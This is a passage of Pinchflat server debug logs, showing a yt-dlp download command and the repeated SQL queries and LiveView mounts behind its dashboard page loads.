--parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/6e/de/6ede137afa221b450511be9ae5a8c75b081f822ddcad355504fca11e4565b3bb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:06:20.893 [info] GET / 21:06:20.893 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 21:06:20.893 [debug] QUERY OK source="settings" db=0.2ms idle=893.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:06:20.894 [debug] QUERY OK source="media_profiles" db=0.0ms idle=836.4ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 21:06:20.894 [debug] QUERY OK source="sources" db=0.0ms idle=836.6ms SELECT count(s0."id") FROM "sources" AS s0 [] 21:06:20.894 [debug] QUERY OK source="media_items" db=0.1ms idle=836.7ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:06:20.894 [debug] QUERY OK source="media_items" db=0.0ms idle=837.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:06:20.894 [debug] QUERY OK source="settings" db=0.1ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:06:20.894 [debug] QUERY OK source="settings" db=0.1ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:06:20.895 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:06:20.896 [debug] QUERY OK source="tasks" db=0.2ms idle=1.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:06:20.896 [debug] QUERY OK source="media_items" db=0.1ms idle=1.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [16, 17] 21:06:20.897 [debug] QUERY OK source="media_items" db=0.0ms idle=2.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:06:20.897 [debug] QUERY OK source="media_items" db=0.3ms idle=2.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:06:20.898 [debug] QUERY OK source="sources" db=0.1ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:06:20.899 [debug] QUERY OK source="media_items" db=0.2ms idle=3.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:06:20.900 [debug] QUERY OK source="media_items" db=0.3ms idle=3.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:06:20.900 [debug] QUERY OK source="sources" db=0.1ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:06:20.901 [info] Sent 200 in 8ms 21:06:21.302 [info] GET / 21:06:21.303 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 21:06:21.303 [debug] QUERY OK source="settings" db=0.3ms idle=405.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:06:21.303 [debug] QUERY OK source="media_profiles" db=0.1ms idle=404.0ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 21:06:21.303 [debug] QUERY OK source="sources" db=0.0ms idle=403.7ms SELECT count(s0."id") FROM "sources" AS s0 [] 21:06:21.304 [debug] QUERY OK source="media_items" db=0.1ms idle=403.4ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:06:21.304 [debug] QUERY OK source="media_items" db=0.0ms idle=303.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:06:21.304 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:06:21.304 [debug] QUERY OK source="settings" db=0.1ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:06:21.305 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:06:21.306 [debug] QUERY OK source="tasks" db=0.2ms idle=1.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:06:21.306 [debug] QUERY OK source="media_items" db=0.1ms idle=1.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [16, 17] 21:06:21.307 [debug] QUERY OK source="media_items" db=0.1ms idle=2.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:06:21.307 [debug] QUERY OK source="media_items" db=0.3ms idle=2.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:06:21.308 [debug] QUERY OK source="sources" db=0.2ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:06:21.310 [debug] QUERY OK source="media_items" db=0.2ms idle=3.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:06:21.310 [debug] QUERY OK source="media_items" db=0.5ms idle=3.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:06:21.311 [debug] QUERY OK source="sources" db=0.1ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:06:21.312 [info] Sent 200 in 9ms 21:06:22.018 [info] CONNECTED TO Phoenix.LiveView.Socket in 44µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "DzpsKT53ZxQjKwchXB9FDiw0IjFKERA-Vp-_V00vhlWenF6dyDFg-eam", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:06:22.165 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "YJAvhGWbKGPD2YsjUpdVgtqS", "media_state" => "downloaded"} 21:06:22.165 [debug] QUERY OK source="media_items" db=0.2ms idle=857.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:06:22.166 [debug] QUERY OK source="media_items" db=0.7ms idle=856.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:06:22.167 [debug] QUERY OK source="sources" db=0.3ms idle=856.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:06:22.167 [debug] Replied in 2ms 21:06:22.172 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "YJAvhGWbKGPD2YsjUpdVgtqS", "media_state" => "pending"} 21:06:22.173 [debug] QUERY OK source="media_items" db=0.8ms idle=861.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:06:22.174 [debug] QUERY OK source="media_items" db=1.0ms idle=170.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:06:22.175 [debug] QUERY OK source="sources" db=0.3ms idle=9.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:06:22.175 [debug] Replied in 3ms 21:06:22.176 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "YJAvhGWbKGPD2YsjUpdVgtqS"} 21:06:22.176 [debug] QUERY OK source="tasks" db=0.0ms idle=9.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:06:22.176 [debug] QUERY OK source="media_items" db=0.0ms idle=9.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [16, 17] 21:06:22.176 [debug] Replied in 407µs 21:06:22.177 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "YJAvhGWbKGPD2YsjUpdVgtqS"} 21:06:22.177 [debug] Replied in 27µs 21:06:22.317 [info] CONNECTED TO Phoenix.LiveView.Socket in 33µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "KVMpZz5SIzUXIh4FSwoDJyIBJzAiGwxQneS0KfiLZx319deEzrAtAx8f", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:06:22.390 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "G6zWu4JyMZ-4rnfbXsfDcc46", "media_state" => "downloaded"} 21:06:22.390 [debug] QUERY OK source="media_items" db=0.3ms idle=217.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:06:22.391 [debug] QUERY OK source="media_items" db=0.7ms idle=216.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:06:22.392 [debug] QUERY OK source="sources" db=0.3ms idle=217.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", 